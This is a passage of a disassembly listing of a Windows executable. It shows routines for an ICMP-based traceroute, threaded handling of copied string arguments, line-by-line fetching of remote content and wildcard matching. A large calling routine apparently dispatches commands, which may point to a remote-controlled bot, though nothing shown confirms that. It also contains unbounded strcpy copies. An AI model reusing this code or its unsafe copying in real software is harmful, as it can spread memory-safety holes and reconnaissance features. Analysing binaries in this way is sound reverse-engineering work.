var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		call	dword_41E3DC	; IcmpCreateFile
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jnz	short loc_409CD8
		push	offset aCouldNotGetAVa ; "Could	not get	a valid	ICMP handle\n"
		call	sub_416DD8
		pop	ecx
		xor	eax, eax
		jmp	locret_409DCE
; ---------------------------------------------------------------------------


loc_409CD8:				; CODE XREF: sub_409CB1+13j
		push	8
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		mov	al, [ebp+arg_8]
		mov	[ebp+var_18], al
		movzx	eax, [ebp+arg_10]
		push	eax
		call	sub_416DD2
		pop	ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_C], eax
		movzx	eax, [ebp+arg_10]
		push	eax
		push	45h
		push	[ebp+var_C]
		call	sub_416B6A
		add	esp, 0Ch
		movzx	eax, [ebp+arg_10]
		cmp	eax, 8
		jge	short loc_409D26
		mov	[ebp+var_38], 8
		jmp	short loc_409D2D
; ---------------------------------------------------------------------------


loc_409D26:				; CODE XREF: sub_409CB1+6Aj
		movzx	eax, [ebp+arg_10]
		mov	[ebp+var_38], eax


loc_409D2D:				; CODE XREF: sub_409CB1+73j
		mov	eax, [ebp+var_38]
		add	eax, 1Ch
		mov	[ebp+var_24], eax
		push	[ebp+var_24]
		call	sub_416DD2
		pop	ecx
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_4], eax
		push	[ebp+arg_C]
		push	[ebp+var_24]
		push	[ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		movzx	ax, [ebp+arg_10]
		push	eax
		push	[ebp+var_C]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		call	dword_41E3E8	; IcmpSendEcho
		mov	[ebp+var_20], eax
		mov	[ebp+var_8], 1
		cmp	[ebp+var_20], 1
		jz	short loc_409D8D
		call	dword_417064
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_409DA4
; ---------------------------------------------------------------------------


loc_409D8D:				; CODE XREF: sub_409CB1+CDj
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx+8]
		mov	[eax+8], ecx


loc_409DA4:				; CODE XREF: sub_409CB1+DAj
		push	[ebp+var_1C]
		call	dword_41E3E4	; IcmpCloseHandle
		mov	eax, [ebp+var_C]
		mov	[ebp+var_30], eax
		push	[ebp+var_30]
		call	sub_416DCC
		pop	ecx
		mov	eax, [ebp+var_10]
		mov	[ebp+var_34], eax
		push	[ebp+var_34]
		call	sub_416DCC
		pop	ecx
		mov	eax, [ebp+var_8]

locret_409DCE:				; CODE XREF: sub_409CB1+22j
		leave
		retn
sub_409CB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409DD0	proc near		; DATA XREF: sub_40A1A7+FDo

var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= dword	ptr -2E4h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= byte ptr -2B0h
var_10D		= byte ptr -10Dh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2F0h
		push	2ACh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		movzx	eax, byte_41E3F0
		test	eax, eax
		jnz	short loc_409E6D
		push	offset aIcmp_dll ; "ICMP.DLL"
		call	dword_417054
		mov	dword_41E3E0, eax
		cmp	dword_41E3E0, 0
		jnz	short loc_409E24
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E24:				; CODE XREF: sub_409DD0+4Bj
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	dword_41E3E0
		call	dword_417058
		mov	dword_41E3DC, eax
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	dword_41E3E0
		call	dword_417058
		mov	dword_41E3E8, eax
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	dword_41E3E0
		call	dword_417058
		mov	dword_41E3E4, eax
		mov	byte_41E3F0, 1


loc_409E6D:				; CODE XREF: sub_409DD0+32j
		cmp	dword_41E3DC, 0
		jnz	short loc_409E7D
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E7D:				; CODE XREF: sub_409DD0+A4j
		cmp	dword_41E3E8, 0
		jnz	short loc_409E8D
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E8D:				; CODE XREF: sub_409DD0+B4j
		cmp	dword_41E3E4, 0
		jnz	short loc_409E9D
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E9D:				; CODE XREF: sub_409DD0+C4j
		lea	eax, [ebp+var_10D]
		mov	[ebp+var_2B8], eax
		push	[ebp+var_2B8]
		call	dword_417244
		mov	[ebp+var_2BC], eax
		cmp	[ebp+var_2BC], 0FFFFFFFFh
		jnz	short loc_409F18
		push	[ebp+var_2B8]
		call	dword_41723C
		mov	[ebp+var_2C0], eax
		cmp	[ebp+var_2C0], 0
		jz	short loc_409F06
		mov	eax, [ebp+var_2C0]
		movsx	eax, word ptr [eax+0Ah]
		push	eax
		mov	eax, [ebp+var_2C0]
		mov	eax, [eax+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		jmp	short loc_409F18
; ---------------------------------------------------------------------------


loc_409F06:				; CODE XREF: sub_409DD0+10Dj
		push	offset aCouldNotResolv ; "Could	not resolve name"
		call	sub_416DD8
		pop	ecx
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409F18:				; CODE XREF: sub_409DD0+F2j
					; sub_409DD0+134j
		and	[ebp+var_4], 0
		mov	byte ptr [ebp+var_2B4],	1
		jmp	short loc_409F33
; ---------------------------------------------------------------------------


loc_409F25:				; CODE XREF: sub_409DD0:loc_40A19Cj
		mov	al, byte ptr [ebp+var_2B4]
		add	al, 1
		mov	byte ptr [ebp+var_2B4],	al


loc_409F33:				; CODE XREF: sub_409DD0+153j
		movzx	eax, byte ptr [ebp+var_2B4]
		movzx	ecx, [ebp+var_D]
		cmp	eax, ecx
		jg	loc_40A1A1
		cmp	[ebp+var_4], 0
		jnz	loc_40A1A1
		and	[ebp+var_2EC], 0
		or	[ebp+var_2E4], 0FFFFFFFFh
		and	[ebp+var_2E0], 0
		and	[ebp+var_2DC], 0
		and	[ebp+var_2D0], 0
		and	[ebp+var_2C8], 0
		and	[ebp+var_2CC], 0
		and	[ebp+var_2D8], 0
		and	[ebp+var_2D4], 0
		jmp	short loc_409F9E
; ---------------------------------------------------------------------------


loc_409F91:				; CODE XREF: sub_409DD0:loc_40A04Ej
		mov	eax, [ebp+var_2D4]
		inc	eax
		mov	[ebp+var_2D4], eax


loc_409F9E:				; CODE XREF: sub_409DD0+1BFj
		mov	eax, [ebp+var_2D4]
		cmp	eax, [ebp+var_8]
		jnb	loc_40A053
		cmp	[ebp+var_2D8], 0
		jnz	loc_40A053
		push	20h
		push	[ebp+var_C]
		push	[ebp+var_2B4]
		lea	eax, [ebp+var_2CC]
		push	eax
		push	[ebp+var_2BC]
		call	sub_409CB1
		add	esp, 14h
		test	eax, eax
		jz	short loc_40A047
		cmp	[ebp+var_2CC], 0
		jnz	short loc_40A02F
		mov	eax, [ebp+var_2D0]
		add	eax, [ebp+var_2C4]
		mov	[ebp+var_2D0], eax
		mov	eax, [ebp+var_2C4]
		cmp	eax, [ebp+var_2E4]
		jnb	short loc_40A013
		mov	eax, [ebp+var_2C4]
		mov	[ebp+var_2E4], eax


loc_40A013:				; CODE XREF: sub_409DD0+235j
		mov	eax, [ebp+var_2C4]
		cmp	eax, [ebp+var_2DC]
		jbe	short loc_40A02D
		mov	eax, [ebp+var_2C4]
		mov	[ebp+var_2DC], eax


loc_40A02D:				; CODE XREF: sub_409DD0+24Fj
		jmp	short loc_40A045
; ---------------------------------------------------------------------------


loc_40A02F:				; CODE XREF: sub_409DD0+215j
		mov	eax, [ebp+var_2CC]
		mov	[ebp+var_2EC], eax
		mov	[ebp+var_2D8], 1


loc_40A045:				; CODE XREF: sub_409DD0:loc_40A02Dj
		jmp	short loc_40A04E
; ---------------------------------------------------------------------------


loc_40A047:				; CODE XREF: sub_409DD0+20Cj
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_40A04E:				; CODE XREF: sub_409DD0:loc_40A045j
		jmp	loc_409F91
; ---------------------------------------------------------------------------


loc_40A053:				; CODE XREF: sub_409DD0+1D7j
					; sub_409DD0+1E4j
		mov	eax, [ebp+var_2C8]
		mov	[ebp+var_2E8], eax
		cmp	[ebp+var_2EC], 0
		jnz	short loc_40A07B
		mov	eax, [ebp+var_2D0]
		xor	edx, edx
		div	[ebp+var_8]
		mov	[ebp+var_2E0], eax
		jmp	short loc_40A090
; ---------------------------------------------------------------------------


loc_40A07B:				; CODE XREF: sub_409DD0+296j
		and	[ebp+var_2E4], 0
		and	[ebp+var_2E0], 0
		and	[ebp+var_2DC], 0


loc_40A090:				; CODE XREF: sub_409DD0+2A9j
		cmp	[ebp+var_2EC], 0
		jnz	loc_40A165
		push	2
		push	4
		lea	eax, [ebp+var_2E8]
		push	eax
		call	dword_417220
		mov	[ebp+var_2F0], eax
		cmp	[ebp+var_2F0], 0
		jz	short loc_40A115
		movzx	eax, byte ptr [ebp+var_2E8+3]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+2]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+1]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8]
		push	eax
		mov	eax, [ebp+var_2F0]
		push	dword ptr [eax]
		push	[ebp+var_2DC]
		push	[ebp+var_2E0]
		push	[ebp+var_2E4]
		movzx	eax, byte ptr [ebp+var_2B4]
		push	eax
		push	offset dword_419594
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_40D53F
		add	esp, 2Ch
		jmp	short loc_40A163
; ---------------------------------------------------------------------------


loc_40A115:				; CODE XREF: sub_409DD0+2EBj
		movzx	eax, byte ptr [ebp+var_2E8+3]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+2]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+1]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8]
		push	eax
		push	[ebp+var_2DC]
		push	[ebp+var_2E0]
		push	[ebp+var_2E4]
		movzx	eax, byte ptr [ebp+var_2B4]
		push	eax
		push	offset dword_419568
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_40D53F
		add	esp, 28h


loc_40A163:				; CODE XREF: sub_409DD0+343j
		jmp	short loc_40A187
; ---------------------------------------------------------------------------


loc_40A165:				; CODE XREF: sub_409DD0+2C7j
		push	[ebp+var_2EC]
		movzx	eax, byte ptr [ebp+var_2B4]
		push	eax
		push	offset dword_419540
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_40A187:				; CODE XREF: sub_409DD0:loc_40A163j
		mov	eax, [ebp+var_2BC]
		cmp	eax, [ebp+var_2E8]
		jnz	short loc_40A19C
		mov	[ebp+var_4], 1


loc_40A19C:				; CODE XREF: sub_409DD0+3C3j
		jmp	loc_409F25
; ---------------------------------------------------------------------------


loc_40A1A1:				; CODE XREF: sub_409DD0+170j
					; sub_409DD0+17Aj
		xor	eax, eax

locret_40A1A3:				; CODE XREF: sub_409DD0+4Fj
					; sub_409DD0+A8j ...
		leave
		retn	4
sub_409DD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A1A7	proc near		; CODE XREF: sub_40A9CF+FAEp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A1C7
		push	offset unk_419618
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx
		jmp	locret_40A2D0
; ---------------------------------------------------------------------------


loc_40A1C7:				; CODE XREF: sub_40A1A7+Aj
		push	2ACh
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40A1E0
		jmp	locret_40A2D0
; ---------------------------------------------------------------------------


loc_40A1E0:				; CODE XREF: sub_40A1A7+32j
		push	1A3h
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 1A3h
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_40A22A
		push	[ebp+arg_8]
		call	sub_416B9C
		pop	ecx
		cmp	eax, 0FFh
		jg	short loc_40A22A
		push	[ebp+arg_8]
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_10], eax
		jmp	short loc_40A231
; ---------------------------------------------------------------------------


loc_40A22A:				; CODE XREF: sub_40A1A7+63j
					; sub_40A1A7+73j
		mov	[ebp+var_10], 1Eh


loc_40A231:				; CODE XREF: sub_40A1A7+81j
		mov	eax, [ebp+var_4]
		mov	cl, byte ptr [ebp+var_10]
		mov	[eax+2A3h], cl
		cmp	[ebp+arg_C], 0
		jz	short loc_40A261
		push	[ebp+arg_C]
		call	sub_416B9C
		pop	ecx
		cmp	eax, 927C0h
		jg	short loc_40A261
		push	[ebp+arg_C]
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_14], eax
		jmp	short loc_40A268
; ---------------------------------------------------------------------------


loc_40A261:				; CODE XREF: sub_40A1A7+9Aj
					; sub_40A1A7+AAj
		mov	[ebp+var_14], 7530h


loc_40A268:				; CODE XREF: sub_40A1A7+B8j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_14]
		mov	[eax+2A4h], ecx
		cmp	[ebp+arg_10], 0
		jz	short loc_40A288
		push	[ebp+arg_10]
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_18], eax
		jmp	short loc_40A28F
; ---------------------------------------------------------------------------


loc_40A288:				; CODE XREF: sub_40A1A7+D1j
		mov	[ebp+var_18], 3


loc_40A28F:				; CODE XREF: sub_40A1A7+DFj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_18]
		mov	[eax+2A8h], ecx
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		push	[ebp+var_4]
		push	offset sub_409DD0
		push	0
		push	0
		call	dword_4170B4
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40A2C7
		push	[ebp+var_4]
		call	sub_416B4C
		pop	ecx
		jmp	short locret_40A2D0
; ---------------------------------------------------------------------------


loc_40A2C7:				; CODE XREF: sub_40A1A7+113j
		push	[ebp+var_8]
		call	dword_4170A4

locret_40A2D0:				; CODE XREF: sub_40A1A7+1Bj
					; sub_40A1A7+34j ...
		leave
		retn
sub_40A1A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A2D2	proc near		; CODE XREF: sub_40A4A4+30p

var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1114	= byte ptr -1114h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 111Ch
		call	sub_416BC0
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 104h
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		push	dword ptr [eax]
		push	offset dword_41966C
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	eax
		call	sub_40D53F
		add	esp, 14h
		push	2710h
		push	0
		push	offset dword_419668
		mov	eax, [ebp+arg_0]
		add	eax, 104h
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40A339
		xor	al, al
		jmp	locret_40A4A2
; ---------------------------------------------------------------------------


loc_40A339:				; CODE XREF: sub_40A2D2+5Ej
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		push	offset dword_419660
		lea	eax, [ebp+var_114]
		push	eax
		call	dword_4171E0
		add	esp, 0Ch
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_416B40
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		push	[ebp+var_8]
		call	sub_4053BF
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40A38F
		push	[ebp+var_8]
		call	sub_40538D
		pop	ecx
		xor	al, al
		jmp	locret_40A4A2
; ---------------------------------------------------------------------------


loc_40A38F:				; CODE XREF: sub_40A2D2+ABj
		push	1000h
		lea	eax, [ebp+var_1114]
		push	eax
		push	[ebp+var_8]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_40A3B5
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_40A3C5


loc_40A3B5:				; CODE XREF: sub_40A2D2+DBj
		push	[ebp+var_8]
		call	sub_40538D
		pop	ecx
		xor	al, al
		jmp	locret_40A4A2
; ---------------------------------------------------------------------------


loc_40A3C5:				; CODE XREF: sub_40A2D2+E1j
		lea	eax, [ebp+var_1114]
		mov	[ebp+var_10], eax


loc_40A3CE:				; CODE XREF: sub_40A2D2:loc_40A492j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_111C],	eax
		mov	eax, [ebp+var_111C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A3E9
		jmp	loc_40A497
; ---------------------------------------------------------------------------


loc_40A3E9:				; CODE XREF: sub_40A2D2+110j
		push	[ebp+var_111C]
		call	sub_407B5E
		pop	ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_111C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40A41B
		push	offset dword_418F4C
		push	[ebp+var_111C]
		call	sub_416DDE
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40A442


loc_40A41B:				; CODE XREF: sub_40A2D2+131j
		mov	eax, [ebp+var_111C]
		lea	ecx, [ebp+var_1114]
		cmp	eax, ecx
		jz	short loc_40A440
		push	offset dword_41965C
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx


loc_40A440:				; CODE XREF: sub_40A2D2+157j
		jmp	short loc_40A458
; ---------------------------------------------------------------------------


loc_40A442:				; CODE XREF: sub_40A2D2+147j
		push	[ebp+var_111C]
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx


loc_40A458:				; CODE XREF: sub_40A2D2:loc_40A440j
		push	3E8h
		call	dword_41709C
		push	offset dword_41E3B8
		call	sub_409C6C
		pop	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax+4]
		mov	[ebp+var_1118],	eax
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx
		cmp	[ebp+var_1118],	0
		jz	short loc_40A492
		jmp	short loc_40A497
; ---------------------------------------------------------------------------


loc_40A492:				; CODE XREF: sub_40A2D2+1BCj
		jmp	loc_40A3CE
; ---------------------------------------------------------------------------


loc_40A497:				; CODE XREF: sub_40A2D2+112j
					; sub_40A2D2+1BEj
		push	[ebp+var_8]
		call	sub_40538D
		pop	ecx
		mov	al, 1

locret_40A4A2:				; CODE XREF: sub_40A2D2+62j
					; sub_40A2D2+B8j ...
		leave
		retn
sub_40A2D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A4A4	proc near		; DATA XREF: sub_40A50E+A1o

var_3A8		= dword	ptr -3A8h
var_2A4		= byte ptr -2A4h
var_1A4		= byte ptr -1A4h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3A8h
		push	3A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3A8]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		lea	eax, [ebp+var_3A8]
		push	eax
		call	sub_40A2D2
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jnz	short loc_40A4FC
		lea	eax, [ebp+var_2A4]
		push	eax
		push	offset dword_419698
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40A4FC:				; CODE XREF: sub_40A4A4+3Bj
		push	[ebp+var_3A8]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40A4A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A50E	proc near		; CODE XREF: sub_40A9CF+FE3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A51D
		jmp	locret_40A5BC
; ---------------------------------------------------------------------------


loc_40A51D:				; CODE XREF: sub_40A50E+8j
		push	3A7h
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40A536
		jmp	locret_40A5BC
; ---------------------------------------------------------------------------


loc_40A536:				; CODE XREF: sub_40A50E+21j
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_40A562
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_40A586
; ---------------------------------------------------------------------------


loc_40A562:				; CODE XREF: sub_40A50E+3Dj
		push	offset dword_4196D4
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_4105FB
		pop	ecx


loc_40A586:				; CODE XREF: sub_40A50E+52j
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 204h
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_4196B4
		push	0
		push	[ebp+var_4]
		push	offset sub_40A4A4
		call	sub_4095A4
		add	esp, 18h

locret_40A5BC:				; CODE XREF: sub_40A50E+Aj
					; sub_40A50E+23j
		leave
		retn
sub_40A50E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5BE	proc near		; CODE XREF: sub_40A5BE+32p
					; sub_40A5BE+70p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A603
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A5DD
		mov	al, 1
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A5DD:				; CODE XREF: sub_40A5BE+16j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A5FC
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		push	[ebp+arg_0]
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A5FC:				; CODE XREF: sub_40A5BE+28j
		xor	al, al
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A603:				; CODE XREF: sub_40A5BE+Cj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A614
		xor	al, al
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A614:				; CODE XREF: sub_40A5BE+4Dj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A63A
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A63A:				; CODE XREF: sub_40A5BE+64j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40A65B
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A65B:				; CODE XREF: sub_40A5BE+85j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A69E
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_40A67C
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jle	short loc_40A687


loc_40A67C:				; CODE XREF: sub_40A5BE+B1j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A69A


loc_40A687:				; CODE XREF: sub_40A5BE+BCj
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A69A:				; CODE XREF: sub_40A5BE+C7j
		xor	al, al
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A69E:				; CODE XREF: sub_40A5BE+A6j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A6E7
		and	[ebp+var_4], 0
		jmp	short loc_40A6B6
; ---------------------------------------------------------------------------


loc_40A6AF:				; CODE XREF: sub_40A5BE:loc_40A6E5j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40A6B6:				; CODE XREF: sub_40A5BE+EFj
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40A6D4
		mov	al, 1
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A6D4:				; CODE XREF: sub_40A5BE+110j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A6E5
		xor	al, al
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A6E5:				; CODE XREF: sub_40A5BE+121j
		jmp	short loc_40A6AF
; ---------------------------------------------------------------------------


loc_40A6E7:				; CODE XREF: sub_40A5BE+E9j
		xor	al, al

locret_40A6E9:				; CODE XREF: sub_40A5BE+1Aj
					; sub_40A5BE+39j ...
		leave
		retn
sub_40A5BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A6EB	proc near		; CODE XREF: sub_4097A7+10Ap
					; sub_4098F3+155p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
